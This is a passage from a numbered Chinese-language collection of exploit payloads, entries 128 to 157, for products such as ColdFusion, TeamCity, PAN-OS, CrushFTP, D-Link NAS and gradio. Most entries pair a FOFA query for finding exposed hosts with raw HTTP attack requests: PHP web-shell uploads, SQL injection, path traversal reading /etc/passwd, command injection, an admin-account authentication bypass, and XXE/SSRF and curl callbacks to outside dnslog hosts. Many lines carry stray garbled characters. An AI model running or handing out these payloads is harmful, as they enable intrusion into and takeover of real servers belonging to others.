4 e& \# Z$ U6 ~. F  P1 [  b* R! r/ yConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
) J! C2 z& b; i) n! H) KSec-Purpose: prefetch;prerender
. i; H9 M9 ^/ K
------WebKitFormBoundaryJGgV5l5ta05yAIe0
6 X" g* [! o' d/ I' eContent-Disposition: form-data;name="SystemName"
2 A3 d$ r1 l4 P: C
BIM
" v% |. Q1 u' C------WebKitFormBoundaryJGgV5l5ta05yAIe0
" \' y9 z  e! V) V% c6 L8 a& ]Content-Disposition: form-data;name="Params"
Content-Type: text/plain

  t( o6 s' A* r% k7 O5 K- [<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
8 f1 b3 i2 Q' c5 p! Z>
4 ]( k5 s/ j% X" ^<test>&t;</test>
- r" m# N0 G* d% w------WebKitFormBoundaryJGgV5l5ta05yAIe0--

) F: f: n( @7 |3 ?; b

% c* v% _: J! G" @" e, r$ |. |128. Adobe ColdFusion 反序列化
* k" {& y+ E+ \* {7 c( B, @CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
- I" }0 d2 i( F4 gPAYLOAD
5 q! m7 {" F% M* I, k+ a! w: N
2 f% D3 o8 X- H* v2 C/ P5 u/ t129. Adobe ColdFusion 任意文件读取
1 j* K6 b7 l; T3 y: w* f5 L8 tCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
# P7 j- a: u0 q, C. BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
5 u. \. `' C6 j9 ]) Q5 h4 m! ^Accept: */*
2 A0 v2 s1 f6 o4 c' `4 BAccept-Encoding: gzip, deflate
Connection: close

. W2 r! p9 ^! \4 B' g
第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
0 i5 B0 \% A4 {; R5 x, |; FHost: x.x.x.x
/ {  @& P0 [1 e% FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
% b  K: I0 w' @6 D1 R; [' [uuid: 85f60018-a654-4410-a783-f81cbd5000b9
& U* H  D+ C+ B; m- Q: I
1 K) J( ]8 n8 b2 y5 N
130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
+ v% x' `1 O# W4 o: _POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
$ ?. t  c4 a$ r, y5 P" ~+ ~' CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close

* ]2 x- f5 u  S$ T" z$ n. S+ P6 A' E------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
& u8 ?1 W; e3 Q* y- yContent-Type: image/png

0 o7 c* ~* h) V  K0 [& ?4 O<?php phpinfo();@eval($_POST['sec']);?>
! j9 e$ z+ R; x% Z------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
  R5 n8 S9 d  x4 i( UFOFA：icon_hash="-2087517259"
8 E; F' X6 N6 H8 f后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

' f! A/ F( _: U  k8 j132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
$ d% r# V( M# E2 W& J* V* }7 XCVE-2024-27198
7 B2 g! L2 \* ]4 w% HFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
; ~' s/ |  K, }: bHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
/ ]+ ^: w0 z0 c+ G; g% O9 G! WContent-Type: application/json
/ [& Q" u# @5 z+ m. P  r: zAccept-Encoding: gzip, deflate
# f! {5 y" l3 y9 o- k( G# a
/ j; L! W0 [: s, G6 E{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
0 j, H4 M! e- W+ W: H5 o
/ C1 ^, |7 b  h' g
CVE-2024-27199
/res/../admin/diagnostic.jsp
" u+ G- d# A9 u3 U: S- d6 ~/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
) X1 F2 `0 L4 ~" U

CVE-2024-27198-RCE.py
8 p9 r# o3 l! i4 c" s% {! V
3 {; J; O' W9 G133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
1 z# I4 x8 Q+ {7 ^Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
- ~9 ?: _0 K% n# l/ Y- s0 m
2 [4 R& C$ R4 v, [$ X( U------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
- h9 y' J4 e' E  _4 ^5 Y7 U  O
<?php system("cat /etc/passwd");unlink(__FILE__);?>
( _( N7 E" g3 P8 Z4 o7 D------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
  r% C# o# p' t( o
% P0 g. Y/ f* H

/ O" @7 D2 P& t* \" u/ s134. 网康NS-ASG应用安全网关index.php sql注入
4 K/ `- U2 r8 b  z7 M; ~CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
% Y+ L, p3 `( h5 J- xHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
# b' J1 F/ X  a( h! ]8 n) FAccept: */*
5 A1 [- w6 D; i; qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ {+ ~. ^6 V, iAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
9 C4 O* Y8 O+ Y) O5 ^* `8 bTe: trailers
  w3 u% V0 q' u  F* o$ _. VConnection: close
* v% p8 S% K5 Q9 PContent-Type: application/x-www-form-urlencoded
Content-Length: 263
) S( C6 n" d1 S- k
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

% \. a- s- o0 z" t/ H5 x
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
# F2 R& ~2 U. |3 mCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
* V8 g9 E' P& hFOFA：app="网康科技-NS-ASG安全网关"
$ f6 T  {! C. g( t0 f0 S8 ~; x& qGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) W  \5 |8 {5 C+ [0 G) i( \' d, eConnection: close
6 q, M. U* E1 j6 C+ W+ }
) {0 n8 u8 C, H" Q0 S3 C
136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
* Q- y% G* }  |2 i4 CGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
0 V; l/ t3 ?, L# h4 r* h, I$ @' c! d; MAccept-Encoding: gzip
. v! Y& E8 v3 j7 Z1 N2 M1 n2 ~9 Y
$ r) A$ `0 K0 H4 E0 E+ j* z5 b) X
137. 福建科立迅通信指挥调度平台down_file.php sql注入
: T4 `1 b6 R) G. ^CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
2 Y0 \7 H& s, J- m& s4 D: [  ^0 o9 I+ O2 lGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
: r2 E( S8 V: O% d2 U+ {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 j3 _) a: n6 pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% N8 u( q0 I, D6 l; |5 e7 _Accept-Encoding: gzip, deflate, br
/ O+ C6 i6 H; N; |) sConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
: r, N5 j) N' \6 y% ~2 Y
" V# g! f9 M; F* T
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
- @& @/ @  |# g9 f3 E* ICVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
- z6 U7 a( D9 {+ DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
. M% W: l" I6 ~- kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% |+ c# a2 h( \' C) D+ m* y6 h' S% KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
4 S8 {7 g% I5 b$ SConnection: close
* c4 f8 U. l- i9 H' D' G4 R# wUpgrade-Insecure-Requests: 1


8 D" K  C3 M; Y" D& @: x' z9 u139. 福建科立讯通信指挥调度平台editemedia.php sql注入
, c; _9 U" k, I0 a2 [CVE-2024-2622
; K& \" g6 u7 \- P3 B0 L$ {( DFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
: W; h0 |$ c& ~5 pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- O4 Z/ I& B7 |- b9 R- DAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
0 N1 w2 N% ]3 j5 D" v8 }! ^, pCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
6 I1 x* K. C. M2 X5 ~; f$ tGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
+ ?+ d+ t+ _1 q& z  rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# z* V' ^0 P/ Q+ v; UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
. n7 d+ e6 D; `: H- Y' R. S) ~Upgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
! D  W% [4 i5 e5 z6 `( RPOST /app/ext/ajax_users.php HTTP/1.1
! X5 S' ^# |- N% yHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
# t8 P8 _1 \1 C8 t/ [; |Content-Type: application/x-www-form-urlencoded

- @" i: u1 c  o, R; G. |# j9 [) Y
7 d9 U; D4 M! s3 r# Xdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
1 l; r  m( b2 T' [$ X

$ s% E$ }; w$ a& |2 S142. CMSV6车辆监控平台系统中存在弱密码
; \, A/ V) N+ q  C( J  ^CVE-2024-29666
FOFA：body="/808gps/"
. {7 t: N' G5 L: A8 t! E3 s. zadmin/admin
. O0 U4 D- A7 ~4 y) i143. Netis WF2780 v2.1.40144 远程命令执行
+ t% r  w$ `1 O2 L6 R. HCVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
# H) b; B) F/ l$ J# Q
144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
, g* t+ p; X6 HConnection: close
Accept: */*
" e3 j  i1 u, i  j5 H, uAccept-Language: en
9 v/ G& U; r/ K, I* WAccept-Encoding: gzip


7 T- W* S/ ]6 {/ z  E& N145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
2 c8 f' T! e) }, WFOFA：icon_hash="-631559155"
- u* O. n; _2 [7 R9 {  TGET /global-protect/login.esp HTTP/1.1
# |' |; p3 w* }+ U* `+ LHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
% q5 Z) X% j( K, `5 J0 q/ f' pConnection: close
1 ~; v/ j2 |2 T) SCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
; F* u/ t1 U3 c1 }* L3 F) S+ rAccept-Encoding: gzip
* T, E$ t* r! w% v( J% A* Q& p
/ m( B6 d5 q* f# B# k8 F
146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
2 ~  k, G- Z$ }5 P  OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
' A5 S: x0 \" K" B+ L+ S* n$ yAccept-Charset: utf-8
! r) m# M4 u/ v% D5 N4 zAccept-Encoding: gzip, deflate
Connection: close
% \$ E* {/ H  ~) [5 f0 n0 i( g
' g; a: I* ?3 I# f; S* [, e
% r) @" \% @3 q' s2 x8 Y) ^147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
, Y, K' a" ?4 o$ p$ NGET /webeditor/../../../windows/win.ini HTTP/1.1
; W/ b4 `5 E( T1 z: Y5 m% mHost: 127.0.0.1:81
Cache-Control: max-age=0
( Q* `( F! z5 aConnection: close

& V+ V: y1 ^& V% b8 d+ s1 z7 c, A
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
7 i* U  C( f+ j# i( B6 x. E# K4 [. mFOFA：body="CrushFTP"
/ P3 I5 G8 W2 o+ A) m5 u1 LPAYLOAD

6 [& S8 t& L1 I  Z149. AJ-Report开源数据大屏存在远程命令执行
, H! j+ s. y$ H% JFOFA：title="AJ-Report"
( ?% S; R. {' S: d7 t/ a
6 c! ]2 q2 h3 F+ N( \1 qPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
3 l* D* P* ]7 c5 Z# i( x: {+ cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
' i! _" T' K( J. y( e' y: N" r+ ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ N1 T) {5 A$ t% m+ pAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
  f# W" I8 z$ Q$ ]5 ^Connection: close

' b; E* Z; \" X$ f" {6 \. l, {$ X{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
/ q5 T4 `* v1 A* ]% E7 \0 E- o
- p2 Z: T1 ^% I, m150. AJ-Report 1.4.0 认证绕过与远程代码执行
0 Z! s9 k, U6 c! }. a# ]- GFOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
3 {7 h7 Z2 y+ I) T2 ~Connection: close
. S4 t4 O8 O& c0 ~Content-Length: 339
" z6 V; l& }# Z) L6 I% V
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


) |3 A, ]2 Q  z. V( O151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
9 b' R( ^3 S# R* iGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
1 t+ t. A0 Q- M  C, _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  ^+ C. Q/ y2 q$ x$ v" jAccept-Encoding: gzip
& @( B3 P0 \; {8 w  C# e
" i% d9 k' z, R" d1 C; y
+ n# ^4 T' d+ |5 b( w; i152. Progress Kemp LoadMaster 远程命令执行
/ d( O' D; }3 yCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
% G, c! B$ s1 Q& wLoadMaster <= 7.2.48.10 (LTS)
  r% y. b, D$ Z# d% oFOFA：body="LoadMaster"
9 T# \+ D$ N/ _! e' \JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
8 `9 V) t2 o! r$ @5 o/ PGET /access/set?param=enableapi&value=1 HTTP/1.1
' F' ^3 T) @, V$ K6 _* ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
8 i* ~5 M2 R" W" `0 L+ x5 l3 H8 u) MConnection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
% j* C7 P0 A5 N, G/ \# v. k& @% kAccept-Encoding: gzip

+ R' g1 q  |# s/ h4 g: Y
153. gradio任意文件读取
  K5 S: u7 K5 L; P5 W: D, {7 b) qCVE-2024-1561FOFA：body="__gradio_mode__"
% [1 g# l# W' j( {7 f第一步，请求/config文件获取componets的id
! r# b- ~" ~, U( b  a  [4 ^http://x.x.x.x/config


第二步，将/etc/passwd的内容写入到一个临时文件
3 @, T2 k: D: b, J, x  QPOST /component_server HTTP/1.1
' ~5 }6 a4 U4 e2 `' O+ a3 v) m" _3 I! cHost: x.x.x.x
$ V- H7 p  x: w9 s8 h  Z$ i  RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
1 s5 \8 d+ P: e- h7 ZConnection: close
Content-Length: 115
& E9 K. ]+ q) @# @' X8 ?: iContent-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


, C2 w1 G1 W% J第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
8 ?' I/ V* L7 o9 C' w+ W
4 V5 |: f( h; c& }! P* }
: X1 r# n* g/ R4 u7 y154. 天维尔消防救援作战调度平台 SQL注入
$ e3 H1 V3 Y: e5 _1 GCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
, @+ ~& F* m& G! ~, BPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
. \, F  \" u4 o( ^# |& ^" k/ eHost: x.x.x.x
Content-Length: 106
+ |  G$ G. H) FCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
9 |! p- X, P- h5 @Content-Type: application/json
; p0 v3 @% a$ y# @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
$ a, F1 I! J5 cAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

' v' L8 @- n' F# T0 N( n$ _{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
' ]0 S5 i& O& `% j# W* [1 ~

0 m& C6 ~9 O2 Z' Z$ L" @4 @' E. e155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
, E; n. r9 k3 _; z  b3 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
6 L( V! x0 Z& GContent-Length: 232
( S  U. O+ F9 T  AAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
2 h3 f1 w& R9 ?6 w) s. s& LX-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
( j; z( X! M: P0 w" T* M  GContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
/ V  y. p5 h* J0 k-----------------------------qttl7vemrsold314zg0f--

; w1 q5 S: e- u4 }
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
$ i+ Y, s1 b0 H- o- DCVE-2024-3721
# l; o  p+ {/ g; G8 F0 v2 C# |FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
; w% v/ m9 h$ D  ]curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

0 U+ D5 C5 G0 P9 t, j% }5 n/ ^* {
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
0 O; p- o: l# v- T' MUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 T4 O5 q" L0 e7 E3 K% {Connection: close
' N* s0 A+ X5 \& n/ K. `- ?: X. IContent-Length: 0
8 i  _+ l  e+ \3 hCookie: uid=1
Accept-Encoding: gzip
% f7 o" v, ?3 `. v2 f. v% n
* B7 [) h% o6 \5 g& J
; g" j, X; U: U  ^4 Y- T) t157. 美特CRM upload.jsp 任意文件上传
) ?1 n' G$ `. j( D) _CNVD-2023-06971
2 k* O) H/ g' A* RFOFA：body="/common/scripts/basic.js"
0 t8 |4 K; Y8 n5 P: C7 cPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
* F) e; H- G* ^0 p' ^+ @( f) sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
6 y6 F4 d' \1 ~; rContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 j: l: ^* _$ G6 J' u9 N: W- BCache-Control: max-age=0
* V" _' b+ \8 M  r% \Connection: close
# L( k( U3 W7 G# FContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
& @* ~9 I9 E8 e( _; mUpgrade-Insecure-Requests: 1
1 v9 _1 g3 q/ u
$ ~9 P, |! ]+ B3 _------WebKitFormBoundary1imovELzPsfzp5dN
3 X/ O$ c$ V1 ]- \6 zContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
6 U) Z9 l! v/ k% Z. P/ xContent-Type: application/octet-stream

/ G% P2 J7 t( @! _nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
  S  O. Y, @+ j
null
------WebKitFormBoundary1imovELzPsfzp5dN
; L9 _  H5 A2 o# GContent-Disposition: form-data; name="form"

+ {# e1 h8 d) s2 J* Tnull
------WebKitFormBoundary1imovELzPsfzp5dN
" ?6 p- h" ~" Q5 ~8 }Content-Disposition: form-data; name="field"
/ K/ B2 L( ^; b$ I, [) Z
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
( J" k* O! Q# F+ f5 M7 V- k
( z, t( y) r  N( r$ V7 a. Onull
. @2 G8 I1 j% ?/ j" U) X5 k( q------WebKitFormBoundary1imovELzPsfzp5dN
- T# I6 g5 X2 F7 MContent-Disposition: form-data; name="filefolder"
0 n9 N% m6 _' g
null
